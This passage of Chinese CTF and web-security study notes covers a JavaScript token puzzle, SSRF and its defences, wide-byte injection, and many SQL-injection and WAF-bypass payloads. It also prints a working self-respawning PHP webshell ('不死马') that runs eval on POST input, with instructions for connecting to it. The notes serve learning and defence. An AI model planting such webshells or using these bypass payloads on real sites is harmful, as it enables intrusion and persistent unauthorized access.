function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

大概就是phrase默认为空,用户输入”success”,由于setTimeout函数有300毫秒延时,所以先执行了token_part_1(“ABCD”, 44),token从”success”->”sseccus”,然后执行token_part_2(“XX”),”XX”和token拼接后sha256加密,然后用户点击的时候执行token_part_3(),token再次和”ZZ”拼接后进行sha256加密。

1
2
'success'->'sseccus'->sha256('XXsseccus')->sha256(sha256('XXsseccus')+'zz')
'ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84'

image-20220915110012762

13.逻辑漏洞

逻辑漏洞就是基于开发人员设计程序的时候,逻辑不严密,导致攻击者可以修改、绕过或者中断整个程序,让程序按照开发人员的预料之外去执行。

补充

服务器端请求伪造(SSRF)

攻击者引诱后端服务器向其他后端发送伪造的请求称为SSRF。往往是向内网核心区建立请求连接,或使服务器主动连接外部系统,泄露敏感信息。

CSRF:是由客户端发起的跨站伪造请求,引诱其他用户执行恶意操作。
SSRF:是由后端服务向内网其他服务器发起伪造请求,引发内网间的未授权访问、敏感信息泄露等。

利用后端服务器间默认的信任关系,去引诱一台服务器向另一台服务器或内部系统发送访问的请求,实现未授权访问或获取敏感信息。这种攻击可以针对被引诱的服务器自身,也可针对内部有信任关系的其他系统。

防御:

1.限制协议:

限制请求的端口只能为Web端口,只允许访问 HTTP和HTTPS 的请求,禁止其他协议。

Gopher协议

2.限制IP:

目的:避免应用被用来获取内网数据,攻击内网。

对传入的url进行过滤,将符合内网IP特征的信息过滤掉。

3.限制端口:

限制请求的端口为http常用的端口,比如80、443、8080、8090等。

对于其他异常端口则进行过滤,如3306等。

4.过滤返回信息:

验证并过滤远程服务器对请求的响应,是比较简单防御方法。比如说原本服务器这个功能是用来识图的,那么如果接受到的响应发现不是一张图片,则过滤掉。

5.统一错误信息:

避免攻击者根据错误信息来判断远端服务器的端口状态,比如错误信息全部改为404。

不死马

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.ZYGS.php';
$code = '<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

ignore_user_abort(true); //设置与远程客户端断开后是否继续执行脚本,true即不断开
set_time_limit(0); //设置脚本最大的执行时间,0即没有时间限制 @unlink(FILE);
//删除文件本身 $file = ‘.ZYGS.php’; //文件名是.ZYGS.php $code = ;
//php代码 file_get_contents(file,code); //打开file文件,然后写入code
usleep(5000); //每隔usleep(5000)写入一个新文件

这段代码是为了防止骑马(乌鸦坐飞机),通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST[‘ZYGS’]),这也是整个不死马中的灵魂,就是为了防止乌鸦坐飞机,一个人拿分(e10adc3949ba59abbe56e057f20f883e == 123456)

连接方式
当不死马成功上传到服务器之后,访问文件路径 123.321.123.321/upload/.zygs.php,此时已经开始生成不死马.ZYGS.php了,并且传入的.zygs.php已经被unlink删除
然后打开蚁剑,输入123.321.123.321/upload/.ZYGS.php?zygs=123456,密码就是ZYGS,直接连接就完事了

sqlmap –level

级别
选项:–level
使用这个选项需要给出一个参数用于指定即将进行检测的级别。总共有五个级别。

默认的级别是 1,该级别只会进行简单的检测(请求)。与之不同的是,级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。

这个选项设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:总是测试 GET 和 POST 的相关参数,级别大于等于 2 则会测试 HTTP Cookie 头部,级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。

总而言之, 如果 SQL 注入检测的难度越高,则需要设定越高的 –level 值。

强烈建议在向 sqlmap 邮件列表反馈 sqlmap 无法检测到特定类型的注入之前,尝试设定一个更高的 –level 值用于检测。

sqlmap –purge

sqlmap手册
清除缓存注入

宽字符注入

宽字节注入
正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\',无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。

转义函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符包括单引号(’)双引号(”) 反斜杠(\) NULL

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
对特殊符号\x00,\n,\r,\\,’,”,\x1a进行转义
不转义%,_
mysql_escape_string() 转义一个字符串

当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。比如说最经典的%df

sql注入绕过

参考

1.绕过空格(注释符/* */,%a0)

两个空格代替一个空格,用Tab代替空格,%a0=空格

2.括号绕过空格

如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

3.引号绕过(使用十六进制)

会使用到引号的地方一般是在最后的where子句中,遇到这样的问题就要使用十六进制来处理这个问题,例如:

1
2
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273

4.逗号绕过(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决

5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)

6.or and xor not绕过

1
2
3
4
and=&&
or=||
xor=|
not=!

7.绕过注释符号(#,–(后面跟一个空格))过滤

1
id=1' union select 1,2,3||'1

8.=绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union,select,where等

(1)使用注释符绕过

1
//,-- , /**/, #, --+, -- -, ;,%00,--a用法:

(2)使用大小写绕过

(3)内联注释绕过

1
id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/likedatabase()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

10.通用绕过(编码)

如URLEncode编码,ASCII,HEX,unicode编码绕过

1
2
or 1=1:%6f%72%20%31%3d%31
Test:CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11.等价函数绕过

1
2
3
4
5
6
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

12.宽字节注入

13.多参数请求拆分

例如:

1
2
3
4
5
GET:a=[input1]&b=[input2]
SQL:and a=[input1] and b=[input2]

a=union/*&b=*/select1,2,3,4
and a=union /*and b=*/select1,2,3,4

14.HTTP参数污染

HTTP参数污染是指当同一个参数出现多次,不同的中间件会解析为不同的结果。

img

可见,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了通参数名中的第一个或最后一个,并且中间件的特性正好取与WAF相反的参数,则可成功绕过。

下面以IIS为例,一般的SQL注入语句如下所示:

1
2
3
Inject=union select1,2,3,4
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
IIS:Inject=union/*, */select/*, */1,2,3,4

15.生僻函数

使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数替换常用的updatexml()函数

16.寻找网站源IP

对于具有云WAF防护的网站,只要找到网站的IP地址,通过IP访问网站,就可以绕过云WAF检测。

常见的寻找网站IP的方法由以下几种

寻找网站的历史解析记录多个不同区域ping网站,查看IP解析的结果找网站的二级域名、NS、MX记录等对应的IP订阅网站邮件,查看邮件发送方的IP

17.注入参数到cookie中

某些程序员在代码中使用$_REQUEST获取参数,而$_REQUEST会依次从GET/POST/cookie中获取参数,如果WAF只检测了GET/POST而没有检测cookie,则可以将注入语句放入cookie中进行绕过。

1
python commix.py -u "URL" --cookie="cookie" --data="post-data"